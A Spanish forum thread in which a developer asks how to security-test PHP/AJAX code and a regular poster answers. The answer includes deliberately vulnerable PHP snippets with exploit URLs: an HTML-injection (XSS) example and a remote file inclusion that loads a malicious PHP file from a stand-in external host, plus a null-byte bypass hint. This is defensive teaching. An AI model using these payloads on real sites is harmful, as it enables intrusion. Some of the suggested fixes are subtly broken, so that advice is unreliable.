elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Explotar PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Explotar PHP  (Leído 4,706 veces)
DoHITB

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Explotar PHP
« en: 6 Enero 2013, 20:42 pm »

Buenas!

Actualmente tengo abiertos varios proyectos con PHP/JS/AJAX, y me gustaría hacerles test de seguridad... pero ando un poco corto en este tipo de conocimientos...

Es decir, por poner un ejemplo:

Yo tengo una web que hace una llamada AJAX a un archivo "archivo.php". A este archivo le paso por GET:

 - accion=**accion**
 - datos=**datos**

Un ejemplo, sería:

archivo.php?accion=li&u=correo@correo.com&p=pass

Entonces, yo en archivo.php reviso los parámetros GET, para que no haya ninguno que no figure en la lista de posibles parámetros, los filtro para que no tengan caracteres extraños, etc...

Pero mi pregunta es: podría hacer algo para que me fallara igualmente?

No se si explico bien la clase de conocimientos que me faltan... espero que me podáis ayudar!

Saludos!
En línea

jdc


Desconectado Desconectado

Mensajes: 3.406


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #1 en: 6 Enero 2013, 20:55 pm »

Mira ya que estas "apurado", haz lo siquiente:

Cada vez que declares una variable que recibe un parametro dado por el usuarioenglobala en mysqli real escape string y htmlspecialchars y listo, si tienes tiempo busca en Google para saber como funcionan ambas.

Por ejemplo, tienes:

Código
  1. <?php
  2. $var = $_GET['action'];
  3. $var2 = $_GET['datos'];
  4.  
  5. echo 'La accion es: '.$var.' y los datos ingresados fueron: '.$var2;
  6. ?>

Tendrias que dejarlo asi:

Código
  1. <?php
  2. $var = mysqli_real_escape_string(htmlspecialchars($_GET['action'], ENT_QUOTES));
  3.  
  4. echo 'La accion es: '.$var.' y los datos ingresados fueron: '.$var2;
  5. ?>
En línea

DoHITB

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Explotar PHP
« Respuesta #2 en: 6 Enero 2013, 23:49 pm »

Buenas,

Gracias por la respuesta;

pero mi problema no reside exactamente ahí; está claro que se deben escapar los datos recibidos por GET y POST... mi duda es la siguiente:

Partiendo de algo así:

Código
  1. if($accion == "li"){
  2.  //accion "li"
  3. }else{
  4.  //error
  5. }
  6.  

Si yo accedo como pagina.php?accion=algo me dará error, pero mi pregunta es:

¿Se puede hacer algo más para explotar esta estructura?

Es decir, supuestamente a esta página accedo desde AJAX, pero si la solicito con VB.net, cURL... puedo enviarle cualquier otra cosa... y ahí es donde quiero probar la seguridad de mi web.

Gracias.
En línea

jdc


Desconectado Desconectado

Mensajes: 3.406


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #3 en: 6 Enero 2013, 23:58 pm »

Si la estructura es asi no ya que action no es variable, sino una constante. Al tener en el else un error proteges por defecto tu estructura.
En línea

DoHITB

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Explotar PHP
« Respuesta #4 en: 7 Enero 2013, 00:13 am »

Ok, gracias.

Pero, por ejemplo, si no escapara caracteres en el get, podría hacer que algo fuera mal si la estructura fuera así:

Código:
if($action == "li"){
//...
mysql_query("select....")//query usando datos de GET
}else{
//error
}

aún estando escapados los datos de GET, sigue siendo seguro?

Por "escapar" los datos GET, me refiero a:

 - Cambiar caracteres peligrosos como comillas, caracteres de comentario...
 - Cambiar caracteres de ciertas palabras por código html
En línea

jdc


Desconectado Desconectado

Mensajes: 3.406


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #5 en: 7 Enero 2013, 01:20 am »

Es que por ejemplo 'li' como te dije no es una variable, así que action no es vulnerable a absolutamente nada, ahora si después haces una consulta tipo select * from tabla where campo = $variable, te toca limpiar esa $variable
En línea

DoHITB

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Explotar PHP
« Respuesta #6 en: 7 Enero 2013, 20:17 pm »

Vale, entonces es como yo pensaba más o menos... aunque creía que si eras un "gurú" del PHP haría falta mucha seguridad para este tipo de bloques...

No obstante, supongo que puedo buscar vulnerabilidades en mis proyectos por otras partes... Me recomendarías algún patrón a buscar o algo similar?

Gracias!
En línea

jdc


Desconectado Desconectado

Mensajes: 3.406


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #7 en: 7 Enero 2013, 20:39 pm »

Mira, te doy 2 ejemplos vulnerables para que lo entiendas mejor mejor:

1) Esto seria vulnerable a XSS:

Código
  1. <?php
  2. $action = $_GET['action'];
  3. echo 'Bienvenido a la sección: '.$action;
  4. ?>
  5.  

Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

Código:
tudominio.com/index.php?action=hola<h1>esto es codigo html inyectado</h1>

Y se corrige con:

Código
  1. <?php
  2. $action = htmlspecialchars($_GET['action'], ENT_QUOTES);
  3. echo 'Bienvenido a la sección: '.$action;
  4. ?>
  5.  

2)Esto seria vulnerable a RFI y LFI:

Código
  1. <?php
  2. $section = $_GET['section'];
  3. include($section);
  4. ?>
  5.  

Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

Código:
tudominio.com/index.php?action=http://otrodominio.com/archivomalo.php

Ojo que la solución para esto puede ser tan simple como poner en la variable una extension y un directorio tipo include ('includes/'.$section.'.php') tambien debes tener cuidado en los caracteres que permites en la variable, por ejemplo a veces pueden saltarse la extension con un byte nulo por ejemplo asi que cuidado.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Explotar Vulnerabilidades CGI
Bugs y Exploits
Tracxus 5 4,769 Último mensaje 12 Enero 2011, 21:08 pm
por berz3k
Creo que voy a explotar
Redes
тαптяα 7 2,843 Último mensaje 29 Agosto 2012, 13:54 pm
por adrianmendezRap
¿Explotar javascript?
Hacking
Sapote 1 2,588 Último mensaje 10 Octubre 2019, 09:59 am
por @XSStringManolo
Explotar servicio http en WS2012
Hacking
menkar 0 2,869 Último mensaje 28 Septiembre 2023, 14:18 pm
por menkar
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines